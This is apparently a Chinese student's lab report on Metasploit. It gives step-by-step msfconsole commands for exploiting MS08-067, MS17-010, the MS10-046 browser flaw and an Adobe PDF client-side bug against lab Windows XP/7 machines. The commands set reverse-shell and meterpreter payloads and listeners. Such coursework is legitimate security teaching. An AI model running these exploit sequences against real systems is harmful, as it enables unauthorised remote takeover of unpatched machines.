一、实验要求
了解metasploit六大模块的功能,并能从从各模块中找出需要的功能并实现攻击。
二、实验目标
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
- 1.1一个主动攻击实践(成功,重复的可能较高)
- 1.2 一个针对浏览器的攻击(成功,重复的可能低)
- 1.3 一个针对客户端的攻击(成功,重复的可能低)
- 1.4 成功应用任何一个辅助模块(成功,重复的可能高)
三、实验过程
1.准备工作
本次实验主要需要用到metasploit,而在前面的实验中我们已经完成安装了。其次是被攻击的靶机,这里我安装了windows xp以及不带service pack的win 7作为靶机。
2.1主动攻击实践(利用ms08_067漏洞)
MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,而NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中存在的逻辑错误,造成栈缓冲区可被溢出,而获得远程代码执行(Remote Code Execution)。
攻击机:kalilinux。靶机:windows XP Professional
进入msf控制台,使用指令【 search ms08_067】指令查询一下针对该漏洞能够运用的攻击模块
输入其中提供的攻击模块。【use exploit/windows/smb/ms08_067_netapi】 进入该攻击模块,使用【show payloads】查看能够使用的攻击载荷。
然后根据上图,为获取靶机的shell,所以利用set payload generic/shell_reverse_tcp
然后输入show options
,查看配置信息,知道我们需要配置RHOST,LHOST,LPORT,target
输入set RHOST 192.168.241.138
set LHOST 192.168.241.134
set LPORT 4307
进行配置
- 然后我们再次利用
show options
,查看配置信息
- 然后
exploit
进行监听
2.2MS17_010漏洞渗透攻击实践
先挂上攻击成功的截图
大概的攻击流程如下
set payload xxx #设置payload
set RHOST xxx #设置目标ip
set LHOST xxx #设置监听ip
set smbuser xxx #设置用户名,靶机上的用户
set smbpass xxx #设置登录密码
exploit
这里用的是ms17_010_psexec模块,ms17_01还有ms17_010_eternalblue版本,当时是因为看到ms17_010_psexec模块比较新所以用它。但是这个模块还需要输入用户名密码来实现攻击,显得不是很好用。然后查了百度说是有些ms17_010_eternalblue模块可以不用输入用户名和密码来攻击,然后自己亲测了以下,从下图看出应该是没法攻击我这个系统,输了账号密码也不行,看来新版本还是靠谱一点。
用了这个漏洞感觉没想象的那么强大,还要输用户名密码,从另一个角度看来,平时用电脑啥的多设置一个密码真是好习惯。这个模块提供了一个类似字典暴力破的东西,可以通过管道输入一堆用户名用于测试来打通连接。所以类似“Administrator+空密码”这类用户就得遭殃了。
如果要更好的利用这个漏洞,可以利用smb_ms17_010辅助模块来扫描可以攻击的ip,这个辅助模块在一定程度上弥补了需要用户名密码的缺陷。
3.针对浏览器的攻击
ms10_046漏洞攻击
首先输入search ms10_046
查找漏洞
- 由于我们要对浏览器进行攻击,所以我们输入
use use exploit/windows/browser/ms10_046_shortcut_icon_
- 然后我们输入
show payloads
,查看载荷进行选择,这里我仍用实验一中的载荷set payload generic/shell_reverse_tcp - 我们利用
show options
查询需要配置的有,LPORT,LHOST,SRVHOST - 输入set SRVHOST 192.168.241.134
- set LHOST 192.168.241.134
- set LPORT 4307
进行配置
- 再次查看配置信息
然后输入exploit
生成URL,并在windows端访问该URL,kali端如图
输入sessions
,可看到一个ID为1的连接,然后输入session -i 1
,接入ID为1的连接,输入shell
,获取成功。
如图:
4.针对客户端的攻击
Adobe攻击
启动msf输入【search adobe】查询针对adobe攻击模块
- 然后进行选择,我选择的是use windows/fileformat/adobe_flashplayer_button
- 然后
set payload windows/meterpreter/reverse_tcp
,设置所用荷载,利用show options查看所要配置的信息
- 输入如下代码,对LHOST,LPORT,FILENAME进行配置
set LHOST 192.168.241.134
set LPORT 4307
set FILENAME 20174307.pdf
- 输入
exploit
,生成201743070.pdf文件 - 输入
use exploit/multi/handler
,进入监听,并设置监听端口,主机号
现回连成功,输入ipconfig确认是否回连正确
4.成功应用任何一个辅助模块
scanner/portscan/tcp(唯一)
首先利用show auxiliary
,查看辅助模块
- 我选择的是scanner/dns/dns_amp,扫描dns
- 输入
show options
,查看配置
输入exploit
进行监听
四、基础问题回答
4.1用自己的话解释什么是exploit,payload,encode
- exploit是利用,即漏洞利用,利用漏洞对目标进行攻击。
- payload是载荷,指进行攻击时攻击者想要执行的。
- encode是编码,用来对恶意代码进行伪装消除坏字符等。
4.2离实战还缺些什么技术或步骤
- 信息搜集,实验我们知道被攻击机的系统版本,但要实战我们并不知道。
- 伪装和免杀,要后门程序悄无声息的放入被攻击机。
五、实践总结
通过本次实验我对自己的电脑安全产生了很大的怀疑,我有好多补丁因为一些原因都没有安装,说不定哪天碰巧碰到个没安装相应补丁的漏洞,那只怕我的电脑就凉凉了。本次实验还是遇到了一些问题,在针对IE浏览器的攻击时出现了挫折,但好在经过不断尝试,放弃了对IE8.0版本的攻击。特别是本次针对客户端攻击的试验中出现了回连不成功的情况,在反复重装了数个xp后,我还是放弃了这一步,但其中原因还是值得深究。随着课程的学习,我的网络安全意识提高了不少,本次至少学到了补丁的及时安装,尽可能避免病毒、木马的入侵。